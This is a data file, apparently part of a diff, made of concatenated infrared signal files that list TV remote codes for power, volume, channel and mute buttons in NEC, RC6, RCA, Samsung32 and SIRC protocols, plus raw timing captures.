501 496 19801 8066 4000 520 506 491 509 498 1501 494 507 500 1499 496 1504 491 1508 497 1504 501 3981 518 1507 498 503 494 507 500 500 497 504 493 1507 498 503 494 507 500 19798 8069 3998 521 504 493 508 499 1500 495 506 491 1508 497 1503 492 1508 497 1504 501 3980 519 1506 499 502 495 505 492 509 498 501 496 1504 501 500 497 505 492 -# -name: VOL+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8064 4001 518 507 500 499 498 1502 493 507 500 1474 521 1479 516 1484 521 1479 516 3990 519 506 491 1508 497 504 493 508 499 500 497 1503 492 509 498 503 494 19803 8063 4003 516 509 498 502 495 1505 500 500 497 1478 517 1483 522 1478 568 1431 522 3985 524 501 496 1481 524 501 496 505 492 508 499 1500 494 507 500 501 496 19800 8067 4000 519 506 491 509 498 1477 517 506 501 1473 521 1479 515 1483 522 1479 526 3980 518 506 491 1485 520 505 492 508 499 501 496 1479 516 509 498 503 494 19800 8066 3998 521 504 493 507 500 1474 520 504 493 1482 523 1477 517 1482 523 1477 517 3989 520 504 493 1483 522 503 494 506 491 509 498 1477 517 508 499 502 495 -# -name: POWER -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 17 E8 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 0F F0 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 10 EF 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 20 DF 00 00 -# -name: POWER -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1735 448 424 445 1301 448 425 444 429 450 422 447 426 443 430 449 423 446 427 452 421 448 424 445 428 451 422 447 1299 450 422 447 426 443 430 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 444 429 450 423 446 426 443 430 449 423 446 427 452 1294 444 428 451 1295 443 1303 446 1300 449 1297 452 421 500 373 444 1302 447 426 443 1303 446 1300 449 1297 452 1294 444 428 451 1295 443 74431 3476 1736 448 425 444 1302 447 426 453 419 450 423 446 427 452 420 449 424 445 427 452 421 448 425 444 428 451 422 447 1299 450 422 447 426 453 420 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 454 419 450 423 446 454 425 447 422 451 418 427 452 1294 444 428 451 1295 443 1302 447 1300 449 1297 452 420 449 451 418 1301 448 424 445 1302 447 1299 450 1296 442 1304 445 454 425 1294 444 74431 3475 1737 446 425 454 1293 445 426 453 420 449 424 445 427 452 421 448 424 445 428 451 422 447 425 454 419 450 422 447 1300 449 424 445 427 452 421 448 424 445 428 451 421 448 425 454 418 451 422 447 1300 449 424 445 454 425 420 449 424 445 428 451 421 448 425 444 429 450 1296 453 419 450 1297 452 1294 444 1301 448 1298 451 422 509 364 453 1293 445 427 452 1294 444 1301 448 1298 451 1296 453 420 449 1296 453 -# -name: VOL+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1765 418 455 424 1323 415 458 421 451 418 456 423 422 447 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1330 418 455 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 453 416 458 421 452 417 456 423 450 419 1327 421 424 445 1329 419 -# -name: VOL- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1737 446 427 452 1294 444 456 423 423 446 454 425 421 448 452 417 456 423 423 446 455 424 449 420 425 444 457 422 1297 451 421 448 453 416 457 422 451 418 428 451 449 420 426 443 457 422 424 445 1301 447 426 443 458 421 451 418 456 423 449 420 454 415 458 421 452 417 1302 446 427 452 448 421 452 417 456 423 1296 452 448 421 453 416 1303 445 455 424 449 420 453 416 430 449 1297 451 421 448 1299 449 -# -name: CH+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3476 1764 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 414 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 415 458 421 452 417 1330 418 454 425 1321 417 1330 418 455 424 449 420 453 416 458 421 1325 423 450 419 1327 421 1325 423 450 419 1327 421 -# -name: CH- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3480 1759 424 450 419 1300 448 452 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 455 424 448 421 453 416 457 422 451 418 455 424 449 420 1326 422 424 445 1329 419 426 443 1331 417 1302 446 454 425 420 449 1298 450 450 419 1328 420 452 417 1330 418 1301 447 425 444 1330 418 -# -name: MUTE -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1763 420 453 416 1330 418 455 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 1324 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1329 419 454 415 458 421 452 417 456 423 450 419 427 452 448 421 452 417 456 423 1324 424 449 420 453 416 1330 418 1328 420 453 416 457 422 451 418 1329 419 454 415 458 421 1298 450 1323 425 448 421 1326 422 -# -name: CH- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3479 1762 421 452 417 1330 418 455 424 449 420 426 443 457 422 451 418 456 423 450 419 454 425 448 421 452 417 457 422 1324 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 453 416 1330 418 1329 419 454 415 458 421 1298 450 423 446 455 424 449 420 453 416 457 422 451 418 1329 419 1327 421 1325 423 451 418 1328 420 1326 422 1325 423 450 419 1328 420 453 416 1303 445 455 424 1295 453 448 421 -# -name: POWER -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: VOL+ -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOL- -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CH+ -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: CH- -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: MUTE -type: parsed -protocol: RC6 -address: 00 00 00 00 -command: 0D 00 00 00 -# -# -# -name: POWER -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 182 7827 172 2332 177 2328 181 2323 176 2330 179 1309 175 1331 174 2331 178 1328 177 2328 181 1307 177 2327 182 1325 180 1326 179 1309 176 1331 174 1332 173 2333 176 2310 178 1328 177 2328 181 1325 180 2306 182 1325 180 2325 174 8340 183 7825 175 2330 179 2326 173 2333 176 2310 178 1328 177 1329 176 2329 180 1308 176 2329 180 1326 179 2326 173 1334 182 1306 179 1328 177 1329 176 1312 183 2322 177 2329 180 1326 179 2325 174 1315 180 2326 173 1333 183 2323 176 8339 183 7824 175 2330 179 2307 181 2324 175 2331 178 1328 177 1330 175 2311 177 1329 176 2329 180 1326 179 2327 182 1305 179 1328 177 1328 177 1311 173 1334 182 2323 176 2330 179 1326 571 1916 180 1327 178 2325 587 920 575 1930 579 -# -name: VOL+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 179 7828 182 2323 176 2328 181 2323 176 2329 180 1308 176 1330 175 2329 180 1326 179 2307 181 2323 176 2329 180 2325 174 1332 173 1315 180 1327 179 1328 177 2327 182 2322 177 1311 173 2332 177 1329 176 1330 175 1312 183 1324 181 8332 180 7826 174 2331 178 2326 173 2313 176 2330 179 1327 178 1328 177 2327 182 1306 179 2326 183 2322 177 2328 181 2323 176 1312 183 1324 181 1325 180 1325 180 2307 181 2323 176 1331 174 2330 179 1327 178 1310 175 1331 174 1332 173 8323 179 7845 176 2311 177 2327 182 2322 177 2328 181 1325 180 1308 177 2328 181 1325 180 2325 174 2330 179 2326 173 2314 174 1332 173 1332 173 1333 183 1306 178 2326 183 2322 177 1329 176 2328 181 1307 177 1329 176 1330 175 1313 182 -# -name: VOL- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 183 7824 176 2329 180 2324 175 2329 180 2324 175 1314 181 1325 180 2324 175 1331 174 2331 178 2307 181 2324 175 1331 174 1331 174 1314 181 1326 179 1326 179 2325 174 2332 177 1310 174 2330 179 1327 178 1328 177 1310 174 2330 179 8334 178 7827 173 2332 177 2327 182 2323 176 2310 178 1328 177 1328 177 2327 182 1306 179 2326 183 2322 177 2327 182 1324 181 1307 177 1329 176 1330 176 1331 174 2311 177 2328 181 1325 180 2324 175 1332 173 1313 182 1325 180 2324 175 8339 173 1383 2522 3925 179 2325 576 1909 590 1915 594 1910 589 918 588 919 576 1911 175 1332 173 2330 592 1912 587 1918 581 907 588 918 598 908 587 920 575 913 592 1914 182 2320 592 914 581 1927 180 1307 178 1327 592 915 580 1925 574 -# -name: CH+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 176 7830 180 2324 175 2329 180 2324 175 2329 180 1308 176 1329 176 2328 181 1325 180 2305 183 2321 178 1329 177 2327 182 1324 181 1306 178 1328 177 1329 176 2327 182 2304 174 1332 173 2332 177 1328 177 1310 174 2330 179 1327 178 8333 179 7826 174 2330 179 2325 174 2313 175 2329 180 1326 179 1326 179 2325 174 1315 180 2324 175 2329 180 1326 179 2325 174 1314 181 1325 180 1326 179 1308 177 2328 181 2323 176 1330 175 2329 180 1308 176 1330 175 2328 181 1325 180 8314 177 7845 176 2310 178 2327 182 2322 177 2327 182 1323 182 1306 179 2326 173 1333 183 2322 177 2327 182 1305 179 2326 173 1333 183 1323 182 1305 179 1327 178 2326 173 2331 178 1327 178 2308 180 1326 179 1327 178 2325 174 1315 180 -# -name: CH- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 182 7824 176 2328 181 2323 176 2328 181 2324 175 1312 183 1323 182 2322 177 1330 175 2309 179 2325 174 1332 173 1333 183 1305 179 1327 178 1328 177 1328 177 2308 180 262 177 1885 175 295 175 861 174 2330 179 99 313 911 573 915 590 1916 180 64 349 1910 176 265 174 7896 177 3081 835 3912 182 2322 177 207 179 1942 180 2304 174 268 181 1881 179 263 176 889 177 264 175 886 583 1925 182 271 178 855 180 240 178 1907 174 2331 178 1327 178 1309 176 1329 590 916 589 919 173 306 175 833 181 317 174 1832 175 2329 180 1325 180 309 182 1833 174 1313 182 1325 180 289 181 1853 175 2329 180 8313 178 7845 176 2309 179 2325 174 2331 178 2326 173 1333 183 1304 180 2324 175 1332 173 2330 179 2325 174 1314 181 1325 180 1326 179 1327 178 1308 177 1330 175 2329 180 2324 175 1312 183 2322 177 1329 176 1329 176 2329 180 2304 174 8339 173 351 3575 3902 594 1911 588 1916 593 1911 588 1916 583 904 591 916 589 1915 594 911 584 1920 579 1907 592 915 590 915 591 916 579 908 597 909 596 909 586 1919 580 1907 179 1326 592 1912 597 908 587 901 594 1911 588 1916 593 -# -name: MUTE -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4096 3909 587 1917 592 1912 587 1917 540 1964 545 942 584 922 594 1910 589 1916 541 1963 546 1958 572 1913 586 1919 590 915 590 915 549 939 587 919 586 1918 591 1912 545 962 575 913 592 913 582 924 540 948 589 917 588 7923 4040 3964 584 1919 538 1966 543 1943 587 1917 592 914 591 915 538 1965 544 1942 588 1916 593 1911 588 1916 593 1910 589 918 546 942 595 911 594 912 541 1963 546 1939 591 915 590 916 589 916 548 940 586 920 585 920 543 7950 4097 3926 549 1955 575 1910 589 1915 594 1910 589 917 536 952 595 1909 590 1914 595 1909 590 1914 585 1920 537 1967 542 945 592 914 591 915 538 968 569 1916 593 1912 587 919 586 919 545 944 593 913 592 913 540 966 571 -Filetype: IR signals file -Version: 1 -# -name: CH- -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: POWER -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: CH- -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CH+ -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: VOL- -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOL+ -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: MUTE -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: POWER -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: POWER -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: VOL- -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: VOL+ -type: parsed -protocol: RCA -address: 0F 00 00 00 -command: 65 00 00 00 -# -name: VOL- -type: raw -frequency: 38381 -duty_cycle: 0.330000 -data: 8885 4455 573 573 573 1641 573 573 573 1641 573 573 573 1641 573 1641 573 1641 573 573 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 573 573 573 573 1641 573 1641 573 1641 573 1641 573 573 573 573 573 1641 573 38196 8885 4507 573 573 573 1641 573 573 573 1641 573 573 573 1641 573 1641 573 1641 573 573 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 1641 573 573 573 1641 573 1641 573 1641 573 1641 573 573 573 573 573 573 573 38196 -# -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 02 00 00 00 -# -name: VOL+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: VOL- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: E6 00 00 00 -# -name: MUTE -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: VOL+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: VOL- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: CH+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 12 00 00 00 -# -name: CH- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 10 00 00 00 -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: E0 00 00 00 -# -name: VOL- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 23 00 00 00 -# -name: CH- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 13 00 00 00 -# -name: VOL+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: VOL- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: CH+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 12 00 00 00 -# -name: CH- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 10 00 00 00 -# -name: MUTE -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 02 00 00 00 -# -name: VOL+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: VOL- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: CH+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 12 00 00 00 -# -name: CH- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 10 00 00 00 -# -name: CH- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: E6 00 00 00 -Filetype: IR signals file -Version: 1 -# -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 02 00 00 00 -# -name: CH- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 13 00 00 00 -# -name: VOL+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: VOL- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: CH+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 12 00 00 00 -# -name: CH- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: E6 00 00 00 -# -name: MUTE -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: VOL+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: VOL- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: e6 00 00 00 -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 98 00 00 00 -# -name: VOL+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# -name: VOL- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0b 00 00 00 -# -name: MUTE -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 0f 00 00 00 -# -name: CH+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 12 00 00 00 -# -name: CH- -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 15 00 00 00 -# -name: VOL+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -# -name: CH+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 10 00 00 00 -# -name: CH- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 11 00 00 00 -# -name: MUTE -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 6D 00 00 00 -# -name: VOL- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 73 00 00 00 -# -name: VOL+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 72 00 00 00 -# -name: POWER -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 08 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 195 1833 300 766 280 760 275 790 276 737 309 731 304 1801 301 1804 309 731 304 1801 270 795 282 758 277 762 273 1832 270 769 246 45851 326 1780 302 739 307 785 282 732 303 736 310 1795 307 732 303 763 303 1775 307 733 334 1798 273 1832 270 1810 251 814 273 1780 281 43762 302 1804 309 758 277 737 330 762 284 730 305 734 301 1803 310 1796 306 733 302 1829 273 767 279 734 301 791 275 1804 278 762 253 45870 307 1798 304 763 272 767 279 787 279 760 275 1829 284 730 305 734 301 1804 309 757 278 1827 275 1804 278 1828 274 765 270 1835 278 43740 303 1776 306 787 279 760 275 765 281 759 307 758 277 1775 307 1799 303 736 299 1832 281 759 276 763 304 736 299 1832 281 733 302 45820 306 1800 302 764 282 758 277 788 278 762 284 1821 281 732 303 736 310 1796 307 733 302 1829 273 1806 276 1830 272 767 268 1837 245 43772 302 1778 304 789 277 762 284 756 279 786 249 765 301 1777 336 1770 301 764 282 1824 278 761 274 765 301 738 308 1824 278 761 274 -# -name: MUTE -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 254 1721 360 681 354 738 308 706 329 711 355 1774 307 1772 361 1744 327 687 359 1772 299 742 335 705 330 736 279 1825 298 742 283 44773 384 1721 360 707 308 707 359 733 302 711 335 705 361 704 331 708 338 1766 336 704 331 1773 329 1776 306 1773 360 681 323 1782 331 44726 411 1722 328 686 360 733 302 711 335 705 361 1742 329 1803 330 1749 332 708 327 1777 335 705 330 710 325 741 274 1830 303 737 278 44778 359 1747 355 712 303 711 355 711 335 705 330 709 337 703 363 703 332 1770 332 709 337 1767 335 1771 300 1752 360 733 302 1776 326 44731 355 1751 330 711 355 737 309 705 330 710 336 1793 309 1771 331 1774 307 706 360 1771 300 740 326 714 332 735 280 1798 325 741 274 -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 15 00 00 00 -# -name: VOL+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -# -name: CH+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8958 4449 510 4475 515 4444 515 2213 508 4477 513 2215 516 2212 509 2219 512 2217 514 2214 517 2211 540 2214 517 2211 510 4449 510 2218 513 4472 507 2220 511 30572 8960 2218 513 87698 8966 2211 510 87701 8963 2214 568 -# -name: CH- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8956 4451 508 2220 511 2217 514 4470 510 4449 510 2218 544 2211 510 2218 513 2215 516 2212 509 2220 511 2217 514 2214 517 2211 510 2245 517 4441 508 2220 511 35049 8961 2215 516 87696 8959 2217 514 87698 8956 2220 511 87701 8964 2213 508 -# -name: MUTE -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 14 00 00 00Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 15 00 00 00 -# -name: VOL+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOL+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOL+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -# -name: CH+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 10 00 00 00 -# -name: CH- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CH- -type: parsed -protocol: SIRC15 -address: 97 00 00 00 -command: 3C 00 00 00 -# -name: POWER -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 15 00 00 00 -# -name: VOL+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -# -name: CH+ -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 10 00 00 00 -# -name: CH- -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 11 00 00 00 -# -name: MUTE -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 14 00 00 00 -Filetype: IR signals file -Version: 1 -# -name: VOL+ -type: parsed -protocol: NEC -address: 02 00 00 00 -command: 1F 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 02 00 00 00 -command: 1C 00 00 00 -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 17 E8 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 0F F0 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 10 EF 00 00 -# -# -name: POWER -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 17 E8 00 00 -# -name: POWER -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1009 493 1006 486 1986 518 1006 486 1987 517 1007 485 1987 517 1007 485 1014 488 1010 492 1007 485 1013 489 1984 510 1988 516 1008 494 1978 516 1008 494 1979 515 983 519 1979 515 8184 4015 3980 518 1980 514 1985 519 1979 515 1983 511 1013 489 1010 492 1980 514 1010 492 1980 514 1011 491 1981 513 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1012 490 1982 512 986 516 1983 511 1013 489 1983 511 8070 4015 3980 518 1981 513 1985 519 1979 515 1983 511 1014 488 1010 492 1980 514 1011 491 1981 513 1011 491 1981 513 1012 490 1008 494 1005 487 1011 491 1008 484 1988 516 1982 512 1012 490 1983 511 1013 489 1983 511 1014 488 1984 510 -# -name: VOL+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4009 3986 511 1988 516 1982 511 1987 517 1981 512 1012 490 1009 493 1979 514 1010 492 1981 512 1986 518 1980 513 1985 519 979 513 1012 490 1009 493 1006 486 1986 518 1981 512 985 517 1982 511 987 515 1010 492 1006 486 1013 489 8184 4013 3982 515 1983 510 1988 516 1982 511 1987 517 1007 485 1014 488 1985 519 1005 487 1986 518 1981 512 1986 518 1980 513 1011 491 1008 494 1004 488 1011 491 1982 511 1987 517 1007 485 1988 516 1009 493 1005 487 1012 490 1009 493 -# -name: VOL- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4012 3982 514 1984 519 1979 514 1984 519 1979 514 983 519 980 512 1988 516 982 520 1979 514 1984 519 1978 515 983 519 980 511 987 515 983 519 980 511 1988 516 1982 511 987 515 1983 521 978 514 985 517 981 521 1978 515 -# -name: CH+ -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4012 3983 513 1985 518 1980 513 1985 518 1980 513 984 518 981 521 1978 515 983 519 1980 513 1984 520 979 512 1986 517 1007 484 1014 488 1011 491 1007 495 1978 515 1983 510 1014 488 1984 519 979 512 1012 490 1983 510 1014 488 8185 4011 3984 512 1986 518 1980 513 1985 518 1980 513 1011 491 1007 485 1988 516 982 520 1979 514 1984 519 1005 486 1986 517 981 510 1014 488 985 517 1007 495 1978 515 1983 510 1014 488 1985 518 1006 486 1013 489 1983 520 1004 487 -# -name: CH- -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4016 3980 516 1982 511 1987 516 1982 511 1987 516 982 520 1004 487 1986 517 980 511 1987 516 1982 511 1013 489 1010 492 1006 486 1013 489 984 518 1007 485 1988 516 1982 511 987 515 1984 519 1005 486 985 517 1982 511 1987 517 8182 4014 3981 515 1983 520 1978 515 1983 510 1988 515 982 520 979 512 1987 517 981 510 1988 516 1983 510 987 515 1010 492 981 521 978 513 985 517 981 521 1978 515 1983 520 978 514 1985 518 979 513 986 516 1983 520 1978 515 -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 17 E8 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 20 DF 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 0F F0 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: EA C7 00 00 -command: 10 EF 00 00 -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 12 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 10 00 00 00 -# -# -name: POWER -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 46 B9 00 00 -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 12 00 00 00 -# -name: VOL+ -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: VOL- -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: CH+ -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: CH- -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: MUTE -type: parsed -protocol: NEC -address: 40 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 46 B9 00 00 -Filetype: IR signals file -Version: 1 -# -# -name: POWER -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 02 00 00 00 -# -name: VOL+ -type: parsed -protocol: Samsung32 -address: 07 00 00 00 -command: 07 00 00 00 -# 